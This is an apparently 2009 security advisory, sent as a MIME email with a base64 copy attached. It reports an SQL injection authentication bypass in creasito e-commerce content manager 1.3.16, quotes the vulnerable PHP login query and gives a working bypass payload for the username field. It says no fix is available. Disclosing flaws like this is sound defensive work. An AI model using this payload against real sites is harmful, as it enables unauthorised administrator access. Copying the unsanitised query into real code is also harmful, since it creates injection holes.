|
|
--001636c5a6dea54bb20467fde63c
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
******* Salvatore "drosophila" Fresta *******
[+] Application: creasito e-commerce content manager
[+] Version: 1.3.16
[+] Website: http://creasito.bloghosteria.com
[+] Bugs: [A] Authentication Bypass
[+] Exploitation: Remote
[+] Date: 20 Apr 2009
[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com
*************************************************
[+] Menu
1) Bugs
2) Code
3) Fix
*************************************************
[+] Bugs
This cms is entirely vulnerable to SQL Injection.
I decided to post authentication bypass security
flaw only.
- [A] Authentication Bypass
[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: admin/checkuser.php, checkuser.php
SQL Injection bug allows a guest to bypass the
authentication system. The following is the
vulnerable code:
...
$username = $_POST['username'];
...
$sql = mysql_query("SELECT * FROM amministratore WHERE
username='$username' AND password='$password' AND activated='1'");
...
*************************************************
[+] Code
- [A] Authentication Bypass
Username: -1' OR '1'='1'#
Password: foo
*************************************************
[+] Fix
No fix.
*************************************************
--
Salvatore "drosophila" Fresta
CWNP444351
--001636c5a6dea54bb20467fde63c
Content-Type: text/plain; charset=US-ASCII;
name="Creasito e-commerce content manager Authentication Bypass-20042009.txt"
Content-Disposition: attachment;
filename="Creasito e-commerce content manager Authentication Bypass-20042009.txt"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_ftraxexr0
KioqKioqKiAgIFNhbHZhdG9yZSAiZHJvc29waGlsYSIgRnJlc3RhICAgKioqKioqKgoKWytdIEFw
cGxpY2F0aW9uOiBjcmVhc2l0byBlLWNvbW1lcmNlIGNvbnRlbnQgbWFuYWdlcgpbK10gVmVyc2lv
bjogMS4zLjE2ClsrXSBXZWJzaXRlOiBodHRwOi8vY3JlYXNpdG8uYmxvZ2hvc3RlcmlhLmNvbQoK
WytdIEJ1Z3M6IFtBXSBBdXRoZW50aWNhdGlvbiBCeXBhc3MKClsrXSBFeHBsb2l0YXRpb246IFJl
bW90ZQpbK10gRGF0ZTogMjAgQXByIDIwMDkKClsrXSBEaXNjb3ZlcmVkIGJ5OiBTYWx2YXRvcmUg
ImRyb3NvcGhpbGEiIEZyZXN0YQpbK10gQXV0aG9yOiBTYWx2YXRvcmUgImRyb3NvcGhpbGEiIEZy
ZXN0YQpbK10gQ29udGFjdDogZS1tYWlsOiBkcm9zb3BoaWxheHh4QGdtYWlsLmNvbQoKCioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioKClsrXSBNZW51Cgox
KSBCdWdzCjIpIENvZGUKMykgRml4CgoKKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKgoKWytdIEJ1Z3MKClRoaXMgY21zIGlzIGVudGlyZWx5IHZ1bG5lcmFi
bGUgdG8gU1FMIEluamVjdGlvbi4gCkkgZGVjaWRlZCB0byBwb3N0IGF1dGhlbnRpY2F0aW9uIGJ5
cGFzcyBzZWN1cml0eSAKZmxhdyBvbmx5LgoKLSBbQV0gQXV0aGVudGljYXRpb24gQnlwYXNzCgpb
LV0gUmlzazogbWVkaXVtClstXSBSZXF1aXNpdGVzOiBtYWdpY19xdW90ZXNfZ3BjID0gb2ZmClst
XSBGaWxlIGFmZmVjdGVkOiBhZG1pbi9jaGVja3VzZXIucGhwLCBjaGVja3VzZXIucGhwCgpTUUwg
SW5qZWN0aW9uIGJ1ZyBhbGxvd3MgYSBndWVzdCB0byBieXBhc3MgdGhlIAphdXRoZW50aWNhdGlv
biBzeXN0ZW0uIFRoZSBmb2xsb3dpbmcgaXMgdGhlIAp2dWxuZXJhYmxlIGNvZGU6CgouLi4KCiR1
c2VybmFtZSA9ICRfUE9TVFsndXNlcm5hbWUnXTsKCi4uLgoKJHNxbCA9IG15c3FsX3F1ZXJ5KCJT
RUxFQ1QgKiBGUk9NIGFtbWluaXN0cmF0b3JlIFdIRVJFIHVzZXJuYW1lPSckdXNlcm5hbWUnIEFO
RCBwYXNzd29yZD0nJHBhc3N3b3JkJyBBTkQgYWN0aXZhdGVkPScxJyIpOwoKLi4uCgoKKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgoKWytdIENvZGUKCgot
IFtBXSBBdXRoZW50aWNhdGlvbiBCeXBhc3MKClVzZXJuYW1lOiAtMScgT1IgJzEnPScxJyMKUGFz
c3dvcmQ6IGZvbwoKCioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioKClsrXSBGaXgKCk5vIGZpeC4KCgoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioq
--001636c5a6dea54bb20467fde63c--